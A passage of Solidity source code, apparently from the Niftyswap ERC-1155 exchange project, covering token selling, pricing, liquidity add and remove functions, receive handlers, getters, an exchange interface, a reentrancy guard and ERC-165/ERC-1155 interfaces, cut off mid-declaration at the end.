_getTokenReserves(_tokenIds); // Assumes the Tokens ids are already received by contract, but not // the Tokens Ids. Will return cards not sold if invalid price. // Remove liquidity for each Token ID in _tokenIds for (uint256 i = 0; i < nTokens; i++) { // Store current id and amount from argument arrays uint256 idSold = _tokenIds[i]; uint256 amountSold = _tokensSoldAmounts[i]; uint256 tokenReserve = tokenReserves[i]; // If 0 tokens send for this ID, revert require(amountSold > 0, "NiftyswapExchange#_tokenToCurrency: NULL_TOKENS_SOLD"); // Load currency token and Token _id reserves uint256 currencyReserve = currencyReserves[idSold]; // Get amount of currency that will be received // Need to sub amountSold because tokens already added in reserve, which would bias the calculation // Don't need to add it for currencyReserve because the amount is added after this calculation uint256 currencyAmount = getSellPrice(amountSold, tokenReserve.sub(amountSold), currencyReserve); // Increase cost of transaction totalCurrency = totalCurrency.add(currencyAmount); // Update individual currency reseve amount currencyReserves[idSold] = currencyReserve.sub(currencyAmount); // Append Token id, Token id amount and currency token amount to tracking arrays currencyBought[i] = currencyAmount; } // If minCurrency is not met require(totalCurrency >= _minCurrency, "NiftyswapExchange#_tokenToCurrency: INSUFFICIENT_CURRENCY_AMOUNT"); // Transfer currency here currency.safeTransferFrom(address(this), _recipient, currencyID, totalCurrency, ""); return currencyBought; } /** * @dev Pricing function used for converting Tokens to currency token. * @param _assetSoldAmount Amount of Tokens being sold. * @param _assetSoldReserve Amount of Tokens in exchange reserves. * @param _assetBoughtReserve Amount of currency tokens in exchange reserves. * @return price Amount of currency tokens to receive from Niftyswap. */ function getSellPrice( uint256 _assetSoldAmount, uint256 _assetSoldReserve, uint256 _assetBoughtReserve) override public pure returns (uint256 price) { //Reserves must not be empty require(_assetSoldReserve > 0 && _assetBoughtReserve > 0, "NiftyswapExchange#getSellPrice: EMPTY_RESERVE"); // Calculate amount to receive (with fee) uint256 _assetSoldAmount_withFee = _assetSoldAmount.mul(FEE_MULTIPLIER); uint256 numerator = _assetSoldAmount_withFee.mul(_assetBoughtReserve); uint256 denominator = _assetSoldReserve.mul(1000).add(_assetSoldAmount_withFee); return numerator / denominator; //Rounding errors will favor Niftyswap, so nothing to do } /***********************************| | Liquidity Functions | |__________________________________*/ /** * @notice Deposit less than max currency tokens && exact Tokens (token ID) at current ratio to mint liquidity pool tokens. * @dev min_liquidity does nothing when total liquidity pool token supply is 0. * @dev Assumes that sender approved this contract on the currency * @dev Sorting _tokenIds is mandatory for efficient way of preventing duplicated IDs (which would lead to errors) * @param _provider Address that provides liquidity to the reserve * @param _tokenIds Array of Token IDs where liquidity is added * @param _tokenAmounts Array of amount of Tokens deposited corresponding to each ID provided in _tokenIds * @param _maxCurrency Array of maximum number of tokens deposited for each ID provided in _tokenIds. * Deposits max amount if total liquidity pool token supply is 0. * @param _deadline Timestamp after which this transaction will be reverted */ function _addLiquidity( address _provider, uint256[] memory _tokenIds, uint256[] memory _tokenAmounts, uint256[] memory _maxCurrency, uint256 _deadline) internal nonReentrant() { // Requirements require(_deadline >= block.timestamp, "NiftyswapExchange#_addLiquidity: DEADLINE_EXCEEDED"); // Initialize variables uint256 nTokens = _tokenIds.length; // Number of Token IDs to deposit uint256 totalCurrency = 0; // Total amount of currency tokens to transfer // Initialize arrays uint256[] memory liquiditiesToMint = new uint256[](nTokens); uint256[] memory currencyAmounts = new uint256[](nTokens); uint256[] memory tokenReserves = new uint256[](nTokens); // Get token reserves tokenReserves = _getTokenReserves(_tokenIds); // Assumes tokens _ids are deposited already, but not currency tokens // as this is calculated and executed below. // Loop over all Token IDs to deposit for (uint256 i = 0; i < nTokens; i ++) { // Store current id and amount from argument arrays uint256 tokenId = _tokenIds[i]; uint256 amount = _tokenAmounts[i]; // Check if input values are acceptable require(_maxCurrency[i] > 0, "NiftyswapExchange#_addLiquidity: NULL_MAX_CURRENCY"); require(amount > 0, "NiftyswapExchange#_addLiquidity: NULL_TOKENS_AMOUNT"); // If the token contract and currency contract are the same, prevent the creation // of a currency pool. if (currencyPoolBanned) { require(tokenId != currencyID, "NiftyswapExchange#_addLiquidity: CURRENCY_POOL_FORBIDDEN"); } // Current total liquidity calculated in currency token uint256 totalLiquidity = totalSupplies[tokenId]; // When reserve for this token already exists if (totalLiquidity > 0) { // Load currency token and Token reserve's supply of Token id uint256 currencyReserve = currencyReserves[tokenId]; // Amount not yet in reserve uint256 tokenReserve = tokenReserves[i]; /** * Amount of currency tokens to send to token id reserve: * X/Y = dx/dy * dx = X*dy/Y * where * X: currency total liquidity * Y: Token _id total liquidity (before tokens were received) * dy: Amount of token _id deposited * dx: Amount of currency to deposit * * Adding .add(1) if rounding errors so to not favor users incorrectly */ (uint256 currencyAmount, bool rounded) = divRound(amount.mul(currencyReserve), tokenReserve.sub(amount)); require(_maxCurrency[i] >= currencyAmount, "NiftyswapExchange#_addLiquidity: MAX_CURRENCY_AMOUNT_EXCEEDED"); // Update currency reserve size for Token id before transfer currencyReserves[tokenId] = currencyReserve.add(currencyAmount); // Update totalCurrency totalCurrency = totalCurrency.add(currencyAmount); // Proportion of the liquidity pool to give to current liquidity provider // If rounding error occured, round down to favor previous liquidity providers // See https://github.com/0xsequence/niftyswap/issues/19 liquiditiesToMint[i] = (currencyAmount.sub(rounded ? 1 : 0)).mul(totalLiquidity) / currencyReserve; currencyAmounts[i] = currencyAmount; // Mint liquidity ownership tokens and increase liquidity supply accordingly totalSupplies[tokenId] = totalLiquidity.add(liquiditiesToMint[i]); } else { uint256 maxCurrency = _maxCurrency[i]; // Otherwise rounding error could end up being significant on second deposit require(maxCurrency >= 1000000000, "NiftyswapExchange#_addLiquidity: INVALID_CURRENCY_AMOUNT"); // Update currency reserve size for Token id before transfer currencyReserves[tokenId] = maxCurrency; // Update totalCurrency totalCurrency = totalCurrency.add(maxCurrency); // Initial liquidity is amount deposited (Incorrect pricing will be arbitraged) // uint256 initialLiquidity = _maxCurrency; totalSupplies[tokenId] = maxCurrency; // Liquidity to mints liquiditiesToMint[i] = maxCurrency; currencyAmounts[i] = maxCurrency; } } // Mint liquidity pool tokens _batchMint(_provider, _tokenIds, liquiditiesToMint, ""); // Transfer all currency to this contract currency.safeTransferFrom(_provider, address(this), currencyID, totalCurrency, abi.encode(DEPOSIT_SIG)); // Emit event emit LiquidityAdded(_provider, _tokenIds, _tokenAmounts, currencyAmounts); } /** * @dev Convert pool participation into amounts of token and currency. * @dev Rounding error of the asset with lower resolution is traded for the other asset. * @param _amountPool Participation to be converted to tokens and currency. * @param _tokenReserve Amount of tokens on the AMM reserve. * @param _currencyReserve Amount of currency on the AMM reserve. * @param _totalLiquidity Total liquidity on the pool. * * @return currencyAmount Currency corresponding to pool amount plus rounded tokens. * @return tokenAmount Token corresponding to pool amount plus rounded currency. */ function _toRoundedLiquidity( uint256 _amountPool, uint256 _tokenReserve, uint256 _currencyReserve, uint256 _totalLiquidity ) internal pure returns ( uint256 currencyAmount, uint256 tokenAmount, uint256 soldTokenNumerator, uint256 boughtCurrencyNumerator ) { uint256 currencyNumerator = _amountPool.mul(_currencyReserve); uint256 tokenNumerator = _amountPool.mul(_tokenReserve); // Convert all tokenProduct rest to currency soldTokenNumerator = tokenNumerator % _totalLiquidity; if (soldTokenNumerator != 0) { // The trade happens "after" funds are out of the pool // so we need to remove these funds before computing the rate uint256 virtualTokenReserve = _tokenReserve.sub(tokenNumerator / _totalLiquidity).mul(_totalLiquidity); uint256 virtualCurrencyReserve = _currencyReserve.sub(currencyNumerator / _totalLiquidity).mul(_totalLiquidity); // Skip process if any of the two reserves is left empty // this step is important to avoid an error withdrawing all left liquidity if (virtualCurrencyReserve != 0 && virtualTokenReserve != 0) { boughtCurrencyNumerator = getSellPrice(soldTokenNumerator, virtualTokenReserve, virtualCurrencyReserve); currencyNumerator = currencyNumerator.add(boughtCurrencyNumerator); } } // Calculate amounts currencyAmount = currencyNumerator / _totalLiquidity; tokenAmount = tokenNumerator / _totalLiquidity; } /** * @dev Burn liquidity pool tokens to withdraw currency && Tokens at current ratio. * @dev Sorting _tokenIds is mandatory for efficient way of preventing duplicated IDs (which would lead to errors) * @param _provider Address that removes liquidity to the reserve * @param _tokenIds Array of Token IDs where liquidity is removed * @param _poolTokenAmounts Array of Amount of liquidity pool tokens burned for each Token id in _tokenIds. * @param _minCurrency Minimum currency withdrawn for each Token id in _tokenIds. * @param _minTokens Minimum Tokens id withdrawn for each Token id in _tokenIds. * @param _deadline Timestamp after which this transaction will be reverted */ function _removeLiquidity( address _provider, uint256[] memory _tokenIds, uint256[] memory _poolTokenAmounts, uint256[] memory _minCurrency, uint256[] memory _minTokens, uint256 _deadline) internal nonReentrant() { // Input validation require(_deadline > block.timestamp, "NiftyswapExchange#_removeLiquidity: DEADLINE_EXCEEDED"); // Initialize variables uint256 nTokens = _tokenIds.length; // Number of Token IDs to deposit uint256 totalCurrency = 0; // Total amount of currency to transfer uint256[] memory tokenAmounts = new uint256[](nTokens); // Amount of Tokens to transfer for each id // Structs contain most information for the event // notice: tokenAmounts and tokenIds are absent because we already // either have those arrays constructed or we need to construct them for other reasons LiquidityRemovedEventObj[] memory eventObjs = new LiquidityRemovedEventObj[](nTokens); // Get token reserves uint256[] memory tokenReserves = _getTokenReserves(_tokenIds); // Assumes NIFTY liquidity tokens are already received by contract, but not // the currency nor the Tokens Ids // Remove liquidity for each Token ID in _tokenIds for (uint256 i = 0; i < nTokens; i++) { // Store current id and amount from argument arrays uint256 id = _tokenIds[i]; uint256 amountPool = _poolTokenAmounts[i]; // Load total liquidity pool token supply for Token _id uint256 totalLiquidity = totalSupplies[id]; require(totalLiquidity > 0, "NiftyswapExchange#_removeLiquidity: NULL_TOTAL_LIQUIDITY"); // Load currency and Token reserve's supply of Token id uint256 currencyReserve = currencyReserves[id]; // Calculate amount to withdraw for currency and Token _id uint256 currencyAmount; uint256 tokenAmount; { uint256 tokenReserve = tokenReserves[i]; uint256 soldTokenNumerator; uint256 boughtCurrencyNumerator; ( currencyAmount, tokenAmount, soldTokenNumerator, boughtCurrencyNumerator ) = _toRoundedLiquidity(amountPool, tokenReserve, currencyReserve, totalLiquidity); // Add trade info to event eventObjs[i].soldTokenNumerator = soldTokenNumerator; eventObjs[i].boughtCurrencyNumerator = boughtCurrencyNumerator; eventObjs[i].totalSupply = totalLiquidity; } // Verify if amounts to withdraw respect minimums specified require(currencyAmount >= _minCurrency[i], "NiftyswapExchange#_removeLiquidity: INSUFFICIENT_CURRENCY_AMOUNT"); require(tokenAmount >= _minTokens[i], "NiftyswapExchange#_removeLiquidity: INSUFFICIENT_TOKENS"); // Update total liquidity pool token supply of Token _id totalSupplies[id] = totalLiquidity.sub(amountPool); // Update currency reserve size for Token id currencyReserves[id] = currencyReserve.sub(currencyAmount); // Update totalCurrency and tokenAmounts totalCurrency = totalCurrency.add(currencyAmount); tokenAmounts[i] = tokenAmount; eventObjs[i].currencyAmount = currencyAmount; } // Burn liquidity pool tokens for offchain supplies _batchBurn(address(this), _tokenIds, _poolTokenAmounts); // Transfer total currency and all Tokens ids currency.safeTransferFrom(address(this), _provider, currencyID, totalCurrency, ""); token.safeBatchTransferFrom(address(this), _provider, _tokenIds, tokenAmounts, ""); // Emit event emit LiquidityRemoved(_provider, _tokenIds, tokenAmounts, eventObjs); } /***********************************| | Receiver Methods Handler | |__________________________________*/ // Method signatures for onReceive control logic // bytes4(keccak256( // "_currencyToToken(uint256[],uint256[],uint256,uint256,address)" // )); bytes4 internal constant BUYTOKENS_SIG = 0xb2d81047; // bytes4(keccak256( // "_tokenToCurrency(uint256[],uint256[],uint256,uint256,address)" // )); bytes4 internal constant SELLTOKENS_SIG = 0xdb08ec97; // bytes4(keccak256( // "_addLiquidity(address,uint256[],uint256[],uint256[],uint256)" // )); bytes4 internal constant ADDLIQUIDITY_SIG = 0x82da2b73; // bytes4(keccak256( // "_removeLiquidity(address,uint256[],uint256[],uint256[],uint256[],uint256)" // )); bytes4 internal constant REMOVELIQUIDITY_SIG = 0x5c0bf259; // bytes4(keccak256( // "DepositTokens()" // )); bytes4 internal constant DEPOSIT_SIG = 0xc8c323f9; /** * @notice Handle which method is being called on transfer * @dev `_data` must be encoded as follow: abi.encode(bytes4, MethodObj) * where bytes4 argument is the MethodObj object signature passed as defined * in the `Signatures for onReceive control logic` section above * @param _from The address which previously owned the Token * @param _ids An array containing ids of each Token being transferred * @param _amounts An array containing amounts of each Token being transferred * @param _data Method signature and corresponding encoded arguments for method to call on *this* contract * @return bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)") */ function onERC1155BatchReceived( address, // _operator, address _from, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) override public returns(bytes4) { // This function assumes that the ERC-1155 token contract can // only call `onERC1155BatchReceived()` via a valid token transfer. // Users must be responsible and only use this Niftyswap exchange // contract with ERC-1155 compliant token contracts. // Obtain method to call via object signature bytes4 functionSignature = abi.decode(_data, (bytes4)); /***********************************| | Buying Tokens | |__________________________________*/ if (functionSignature == BUYTOKENS_SIG) { // Tokens received need to be currency contract require(msg.sender == address(currency), "NiftyswapExchange#onERC1155BatchReceived: INVALID_CURRENCY_TRANSFERRED"); require(_ids.length == 1, "NiftyswapExchange#onERC1155BatchReceived: INVALID_CURRENCY_IDS_AMOUNT"); require(_ids[0] == currencyID, "NiftyswapExchange#onERC1155BatchReceived: INVALID_CURRENCY_ID"); // Decode BuyTokensObj from _data to call _currencyToToken() BuyTokensObj memory obj; (, obj) = abi.decode(_data, (bytes4, BuyTokensObj)); address recipient = obj.recipient == address(0x0) ? _from : obj.recipient; // Execute trade and retrieve amount of currency spent uint256[] memory currencySold = _currencyToToken(obj.tokensBoughtIDs, obj.tokensBoughtAmounts, _amounts[0], obj.deadline, recipient); emit TokensPurchase(_from, recipient, obj.tokensBoughtIDs, obj.tokensBoughtAmounts, currencySold); /***********************************| | Selling Tokens | |__________________________________*/ } else if (functionSignature == SELLTOKENS_SIG) { // Tokens received need to be Token contract require(msg.sender == address(token), "NiftyswapExchange#onERC1155BatchReceived: INVALID_TOKENS_TRANSFERRED"); // Decode SellTokensObj from _data to call _tokenToCurrency() SellTokensObj memory obj; (, obj) = abi.decode(_data, (bytes4, SellTokensObj)); address recipient = obj.recipient == address(0x0) ? _from : obj.recipient; // Execute trade and retrieve amount of currency received uint256[] memory currencyBought = _tokenToCurrency(_ids, _amounts, obj.minCurrency, obj.deadline, recipient); emit CurrencyPurchase(_from, recipient, _ids, _amounts, currencyBought); /***********************************| | Adding Liquidity Tokens | |__________________________________*/ } else if (functionSignature == ADDLIQUIDITY_SIG) { // Only allow to receive ERC-1155 tokens from `token` contract require(msg.sender == address(token), "NiftyswapExchange#onERC1155BatchReceived: INVALID_TOKEN_TRANSFERRED"); // Decode AddLiquidityObj from _data to call _addLiquidity() AddLiquidityObj memory obj; (, obj) = abi.decode(_data, (bytes4, AddLiquidityObj)); _addLiquidity(_from, _ids, _amounts, obj.maxCurrency, obj.deadline); /***********************************| | Removing iquidity Tokens | |__________________________________*/ } else if (functionSignature == REMOVELIQUIDITY_SIG) { // Tokens received need to be NIFTY-1155 tokens require(msg.sender == address(this), "NiftyswapExchange#onERC1155BatchReceived: INVALID_NIFTY_TOKENS_TRANSFERRED"); // Decode RemoveLiquidityObj from _data to call _removeLiquidity() RemoveLiquidityObj memory obj; (, obj) = abi.decode(_data, (bytes4, RemoveLiquidityObj)); _removeLiquidity(_from, _ids, _amounts, obj.minCurrency, obj.minTokens, obj.deadline); /***********************************| | Deposits & Invalid Calls | |__________________________________*/ } else if (functionSignature == DEPOSIT_SIG) { // Do nothing for when contract is self depositing // This could be use to deposit currency "by accident", which would be locked require(msg.sender == address(currency), "NiftyswapExchange#onERC1155BatchReceived: INVALID_TOKENS_DEPOSITED"); require(_ids[0] == currencyID, "NiftyswapExchange#onERC1155BatchReceived: INVALID_CURRENCY_ID"); } else { revert("NiftyswapExchange#onERC1155BatchReceived: INVALID_METHOD"); } return ERC1155_BATCH_RECEIVED_VALUE; } /** * @dev Will pass to onERC115Batch5Received */ function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes memory _data) override public returns(bytes4) { uint256[] memory ids = new uint256[](1); uint256[] memory amounts = new uint256[](1); ids[0] = _id; amounts[0] = _amount; require( ERC1155_BATCH_RECEIVED_VALUE == onERC1155BatchReceived(_operator, _from, ids, amounts, _data), "NiftyswapExchange#onERC1155Received: INVALID_ONRECEIVED_MESSAGE" ); return ERC1155_RECEIVED_VALUE; } /** * @notice Prevents receiving Ether or calls to unsuported methods */ fallback () external { revert("NiftyswapExchange:UNSUPPORTED_METHOD"); } /***********************************| | Getter Functions | |__________________________________*/ /** * @notice Get amount of currency in reserve for each Token _id in _ids * @param _ids Array of ID sto query currency reserve of * @return amount of currency in reserve for each Token _id */ function getCurrencyReserves( uint256[] calldata _ids) override external view returns (uint256[] memory) { uint256 nIds = _ids.length; uint256[] memory currencyReservesReturn = new uint256[](nIds); for (uint256 i = 0; i < nIds; i++) { currencyReservesReturn[i] = currencyReserves[_ids[i]]; } return currencyReservesReturn; } /** * @notice Return price for `currency => Token _id` trades with an exact token amount. * @param _ids Array of ID of tokens bought. * @param _tokensBought Amount of Tokens bought. * @return Amount of currency needed to buy Tokens in _ids for amounts in _tokensBought */ function getPrice_currencyToToken( uint256[] calldata _ids, uint256[] calldata _tokensBought) override external view returns (uint256[] memory) { uint256 nIds = _ids.length; uint256[] memory prices = new uint256[](nIds); for (uint256 i = 0; i < nIds; i++) { // Load Token id reserve uint256 tokenReserve = token.balanceOf(address(this), _ids[i]); prices[i] = getBuyPrice(_tokensBought[i], currencyReserves[_ids[i]], tokenReserve); } // Return prices return prices; } /** * @notice Return price for `Token _id => currency` trades with an exact token amount. * @param _ids Array of IDs token sold. * @param _tokensSold Array of amount of each Token sold. * @return Amount of currency that can be bought for Tokens in _ids for amounts in _tokensSold */ function getPrice_tokenToCurrency( uint256[] calldata _ids, uint256[] calldata _tokensSold) override external view returns (uint256[] memory) { uint256 nIds = _ids.length; uint256[] memory prices = new uint256[](nIds); for (uint256 i = 0; i < nIds; i++) { // Load Token id reserve uint256 tokenReserve = token.balanceOf(address(this), _ids[i]); prices[i] = getSellPrice(_tokensSold[i], tokenReserve, currencyReserves[_ids[i]]); } // Return price return prices; } /** * @return Address of Token that is sold on this exchange. */ function getTokenAddress() override external view returns (address) { return address(token); } /** * @return Address of the currency contract that is used as currency and its corresponding id */ function getCurrencyInfo() override external view returns (address, uint256) { return (address(currency), currencyID); } /** * @notice Get total supply of liquidity tokens * @param _ids ID of the Tokens * @return The total supply of each liquidity token id provided in _ids */ function getTotalSupply(uint256[] calldata _ids) override external view returns (uint256[] memory) { // Number of ids uint256 nIds = _ids.length; // Variables uint256[] memory batchTotalSupplies = new uint256[](nIds); // Iterate over each owner and token ID for (uint256 i = 0; i < nIds; i++) { batchTotalSupplies[i] = totalSupplies[_ids[i]]; } return batchTotalSupplies; } /** * @return Address of factory that created this exchange. */ function getFactoryAddress() override external view returns (address) { return factory; } /***********************************| | Utility Functions | |__________________________________*/ /** * @notice Divides two numbers and add 1 if there is a rounding error * @param a Numerator * @param b Denominator */ function divRound(uint256 a, uint256 b) internal pure returns (uint256, bool) { return a % b == 0 ? (a/b, false) : ((a/b).add(1), true); } /** * @notice Return Token reserves for given Token ids * @dev Assumes that ids are sorted from lowest to highest with no duplicates. * This assumption allows for checking the token reserves only once, otherwise * token reserves need to be re-checked individually or would have to do more expensive * duplication checks. * @param _tokenIds Array of IDs to query their Reserve balance. * @return Array of Token ids' reserves */ function _getTokenReserves( uint256[] memory _tokenIds) internal view returns (uint256[] memory) { uint256 nTokens = _tokenIds.length; // Regular balance query if only 1 token, otherwise batch query if (nTokens == 1) { uint256[] memory tokenReserves = new uint256[](1); tokenReserves[0] = token.balanceOf(address(this), _tokenIds[0]); return tokenReserves; } else { // Lazy check preventing duplicates & build address array for query address[] memory thisAddressArray = new address[](nTokens); thisAddressArray[0] = address(this); for (uint256 i = 1; i < nTokens; i++) { require(_tokenIds[i-1] < _tokenIds[i], "NiftyswapExchange#_getTokenReserves: UNSORTED_OR_DUPLICATE_TOKEN_IDS"); thisAddressArray[i] = address(this); } return token.balanceOfBatch(thisAddressArray, _tokenIds); } } /** * @notice Indicates whether a contract implements the `ERC1155TokenReceiver` functions and so can accept ERC1155 token types. * @param interfaceID The ERC-165 interface ID that is queried for support.s * @dev This function MUST return true if it implements the ERC1155TokenReceiver interface and ERC-165 interface. * This function MUST NOT consume more thsan 5,000 gas. * @return Whether a given interface is supported */ function supportsInterface(bytes4 interfaceID) public override pure returns (bool) { return interfaceID == type(IERC165).interfaceId || interfaceID == type(IERC1155).interfaceId || interfaceID == type(IERC1155TokenReceiver).interfaceId; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; pragma experimental ABIEncoderV2; interface INiftyswapExchange { /***********************************| | Events | |__________________________________*/ event TokensPurchase( address indexed buyer, address indexed recipient, uint256[] tokensBoughtIds, uint256[] tokensBoughtAmounts, uint256[] currencySoldAmounts ); event CurrencyPurchase( address indexed buyer, address indexed recipient, uint256[] tokensSoldIds, uint256[] tokensSoldAmounts, uint256[] currencyBoughtAmounts ); event LiquidityAdded( address indexed provider, uint256[] tokenIds, uint256[] tokenAmounts, uint256[] currencyAmounts ); struct LiquidityRemovedEventObj { uint256 currencyAmount; uint256 soldTokenNumerator; uint256 boughtCurrencyNumerator; uint256 totalSupply; } event LiquidityRemoved( address indexed provider, uint256[] tokenIds, uint256[] tokenAmounts, LiquidityRemovedEventObj[] details ); // OnReceive Objects struct BuyTokensObj { address recipient; // Who receives the tokens uint256[] tokensBoughtIDs; // Token IDs to buy uint256[] tokensBoughtAmounts; // Amount of token to buy for each ID uint256 deadline; // Timestamp after which the tx isn't valid anymore } struct SellTokensObj { address recipient; // Who receives the currency uint256 minCurrency; // Total minimum number of currency expected for all tokens sold uint256 deadline; // Timestamp after which the tx isn't valid anymore } struct AddLiquidityObj { uint256[] maxCurrency; // Maximum number of currency to deposit with tokens uint256 deadline; // Timestamp after which the tx isn't valid anymore } struct RemoveLiquidityObj { uint256[] minCurrency; // Minimum number of currency to withdraw uint256[] minTokens; // Minimum number of tokens to withdraw uint256 deadline; // Timestamp after which the tx isn't valid anymore } /***********************************| | OnReceive Functions | |__________________________________*/ /** * @notice Handle which method is being called on Token transfer * @dev `_data` must be encoded as follow: abi.encode(bytes4, MethodObj) * where bytes4 argument is the MethodObj object signature passed as defined * in the `Signatures for onReceive control logic` section above * @param _operator The address which called the `safeTransferFrom` function * @param _from The address which previously owned the token * @param _id The id of the token being transferred * @param _amount The amount of tokens being transferred * @param _data Method signature and corresponding encoded arguments for method to call on *this* contract * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` */ function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes calldata _data) external returns(bytes4); /** * @notice Handle which method is being called on transfer * @dev `_data` must be encoded as follow: abi.encode(bytes4, MethodObj) * where bytes4 argument is the MethodObj object signature passed as defined * in the `Signatures for onReceive control logic` section above * @param _from The address which previously owned the Token * @param _ids An array containing ids of each Token being transferred * @param _amounts An array containing amounts of each Token being transferred * @param _data Method signature and corresponding encoded arguments for method to call on *this* contract * @return bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)") */ function onERC1155BatchReceived(address, address _from, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external returns(bytes4); /***********************************| | Getter Functions | |__________________________________*/ /** * @dev Pricing function used for converting between currency token to Tokens. * @param _assetBoughtAmount Amount of Tokens being bought. * @param _assetSoldReserve Amount of currency tokens in exchange reserves. * @param _assetBoughtReserve Amount of Tokens (output type) in exchange reserves. * @return Amount of currency tokens to send to Niftyswap. */ function getBuyPrice(uint256 _assetBoughtAmount, uint256 _assetSoldReserve, uint256 _assetBoughtReserve) external pure returns (uint256); /** * @dev Pricing function used for converting Tokens to currency token. * @param _assetSoldAmount Amount of Tokens being sold. * @param _assetSoldReserve Amount of Tokens in exchange reserves. * @param _assetBoughtReserve Amount of currency tokens in exchange reserves. * @return Amount of currency tokens to receive from Niftyswap. */ function getSellPrice(uint256 _assetSoldAmount,uint256 _assetSoldReserve, uint256 _assetBoughtReserve) external pure returns (uint256); /** * @notice Get amount of currency in reserve for each Token _id in _ids * @param _ids Array of ID sto query currency reserve of * @return amount of currency in reserve for each Token _id */ function getCurrencyReserves(uint256[] calldata _ids) external view returns (uint256[] memory); /** * @notice Return price for `currency => Token _id` trades with an exact token amount. * @param _ids Array of ID of tokens bought. * @param _tokensBought Amount of Tokens bought. * @return Amount of currency needed to buy Tokens in _ids for amounts in _tokensBought */ function getPrice_currencyToToken(uint256[] calldata _ids, uint256[] calldata _tokensBought) external view returns (uint256[] memory); /** * @notice Return price for `Token _id => currency` trades with an exact token amount. * @param _ids Array of IDs token sold. * @param _tokensSold Array of amount of each Token sold. * @return Amount of currency that can be bought for Tokens in _ids for amounts in _tokensSold */ function getPrice_tokenToCurrency(uint256[] calldata _ids, uint256[] calldata _tokensSold) external view returns (uint256[] memory); /** * @notice Get total supply of liquidity tokens * @param _ids ID of the Tokens * @return The total supply of each liquidity token id provided in _ids */ function getTotalSupply(uint256[] calldata _ids) external view returns (uint256[] memory); /** * @return Address of Token that is sold on this exchange. */ function getTokenAddress() external view returns (address); /** * @return Address of the currency contract that is used as currency and its corresponding id */ function getCurrencyInfo() external view returns (address, uint256); /** * @return Address of factory that created this exchange. */ function getFactoryAddress() external view returns (address); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity 0.7.4; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; /** * @title ERC165 * @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md */ interface IERC165 { /** * @notice Query if a contract implements an interface * @dev Interface identification is specified in ERC-165. This function * uses less than 30,000 gas * @param _interfaceId The interface identifier, as specified in ERC-165 */ function supportsInterface(bytes4 _interfaceId) external view returns (bool); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; import './IERC165.sol'; interface IERC1155 is IERC165 { /****************************************| | Events | |_______________________________________*/ /** * @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, including zero amount transfers as well as minting or burning * Operator MUST be msg.sender * When minting/creating tokens, the `_from` field MUST be set to `0x0` * When burning/destroying tokens, the `_to` field MUST be set to `0x0` * The total amount transferred from address 0x0 minus the total amount transferred to 0x0 may be used by clients and exchanges to be added to the "circulating supply" for a given token ID * To broadcast the existence of a token ID with no initial balance, the contract SHOULD emit the TransferSingle event from `0x0` to `0x0`, with the token creator as `_operator`, and a `_amount` of 0 */ event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _amount); /** * @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, including zero amount transfers as well as minting or burning * Operator MUST be msg.sender * When minting/creating tokens, the `_from` field MUST be set to `0x0` * When burning/destroying tokens, the `_to` field MUST be set to `0x0` * The total amount transferred from address 0x0 minus the total amount transferred to 0x0 may be used by clients and exchanges to be added to the "circulating supply" for a given token ID * To broadcast the existence of multiple token IDs with no initial balance, this SHOULD emit the TransferBatch event from `0x0` to `0x0`, with the token creator as `_operator`, and a `_amount` of 0 */ event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _amounts); /** * @dev MUST emit when an approval is updated */ event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /****************************************| | Functions | |_______________________________________*/ /** * @notice Transfers amount of an _id from the _from address to the _to address specified * @dev MUST emit TransferSingle event on success * Caller must be approved to manage the _from account's tokens (see isApprovedForAll) * MUST throw if `_to` is the zero address * MUST throw if balance of sender for token `_id` is lower than the `_amount` sent * MUST throw on any other error * When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). If so, it MUST call `onERC1155Received` on `_to` and revert if the return amount is not `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` * @param _from Source address * @param _to Target address * @param _id ID of the token type * @param _amount Transfered amount * @param _data Additional data with no specified format, sent in call to `_to` */ function safeTransferFrom(address 